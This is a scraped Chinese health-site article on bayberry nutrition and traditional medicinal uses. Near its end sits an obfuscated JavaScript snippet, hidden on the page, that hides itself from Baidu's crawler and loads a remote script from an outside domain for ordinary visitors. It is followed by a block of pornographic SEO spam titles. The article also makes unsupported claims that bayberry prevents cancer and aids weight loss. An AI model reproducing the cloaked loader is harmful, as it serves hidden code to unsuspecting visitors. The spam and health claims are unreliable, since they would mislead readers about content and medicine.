當前位置:首頁 > 飲食 > 食物營養 > 正文

楊梅的營養價值 含有蛋白質、碳水化合物

2017-07-06 21:31:12  來源:360常識網   熱度:
導語:楊梅營養豐富,果肉中含有蛋白質、碳水化合物、粗纖維、鈣、鐵、鈉、鎂等微量元素及維生素C和葡萄糖等營養物質,有生津止渴、健脾開胃等功

楊梅營養豐富,果肉中含有蛋白質、碳水化合物、粗纖維、鈣、鐵、鈉、鎂等微量元素及維生素C和葡萄糖等營養物質,有生津止渴、健脾開胃等功效。此外楊梅中含有檸檬酸、草酸、乳酸等,有促消化、增加食欲的作用。每100克鮮果含水分91.l克,蛋白質0.9克,脂肪0.9克,碳水化合物5.2克,熱量33千卡,粗纖維1.0克,灰分0.9克,鈣11毫克,磷36毫克,鐵1.8毫克,并含鉀176毫克,鈉2.4毫克,鎂9.0毫克。另含維生素C、蠟質、葡萄糖、果糖、檸檬酸、草酸、乳酸等。

食用功效:

性味歸經:根、樹皮:苦,溫。果:酸、甘,平。

功能主治:根、樹皮:散瘀止血,止痛。用于跌打損傷,骨折,痢疾,胃、十二指腸潰瘍,牙痛;外用治創傷出血,燒燙傷。果:生津止渴。用于口干,食欲不振。

1、 助消化增食欲:楊梅含有多種有機酸,維生素C的含量也十分豐富,鮮果味酸,食之可增加胃中酸度,消化食物,促進食欲。

2、 收斂消炎,止瀉:楊梅性味酸澀,具有收斂消炎作用,加之其對大腸桿菌、痢疾桿菌等細菌有抑制作用,故能治痢疾腹痛,對下痢不止者有良效。

3、 防癌抗癌:楊梅中含有維生素C、B,對防癌抗癌有積極作用。楊梅果仁中所含的氰氨類、脂肪油等也有抑制癌細胞的作用。

4、 祛暑生津:楊梅鮮果能和中消食,生津止渴,是夏季祛暑之良品,可以預防中暑,去痧,解除煩渴。所含的果酸既能開胃生津,消食解暑,又有阻止體內的糖向脂肪轉化的功能,有助于減肥。

怎么吃楊梅才衛生?

楊梅的果季很短,不易儲藏,容易爛,所以提醒大家在選購楊梅時應該注意楊梅的新鮮程度。一定要吃新鮮的楊梅,否則容易拉肚子。而且楊梅沒有外皮,在吃之前一定要 清洗干凈,用淡鹽水泡10分鐘之后再吃。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
精品久久久久久久| 精品国产一区二区三区| 青青草97国产精品免费观看| 精品少妇人妻av无码久久| 国产精品亚洲综合专区片高清久久久| 91麻豆精品激情在线观看最新| HEYZO无码综合国产精品227| 精品日产卡一卡二卡国色天香| 国産精品久久久久久久| 国产色无码精品视频国产| 亚洲熟妇无码久久精品| 精品三级在线观看| 国产精品免费久久久久久久久| 午夜精品福利在线| 国语自产精品视频在线完整版| 99热精品国产三级在线观看| 国产午夜精品一本在线观看 | 国产精品午夜高清在线观看| 亚洲国产精品成人精品软件| 华人在线精品免费观看| 国产精品美女久久久久AV福利 | 伊在人亚洲香蕉精品区麻豆| 国产99视频精品免费观看7| 99精品国产在热久久婷婷| 国产三级久久久精品麻豆三级| 国产精品V亚洲精品V日韩精品| 国产精品青草久久| 精品无人区麻豆乱码1区2区新区 | 国产成人亚洲精品影院| 国产精品模特hd在线| 久久国产精品99国产精| 国产韩国精品一区二区三区久久| 无码精品国产VA在线观看| 国产精品无码久久久久久| 久久996热精品xxxx| 亚洲精品亚洲人成在线观看下载| 国产精品伦子一区二区三区| 日韩精品电影一区| 精品国产一区二区三区香蕉事| 精品一线二线三线区别在哪欧美| 97久久超碰成人精品网站|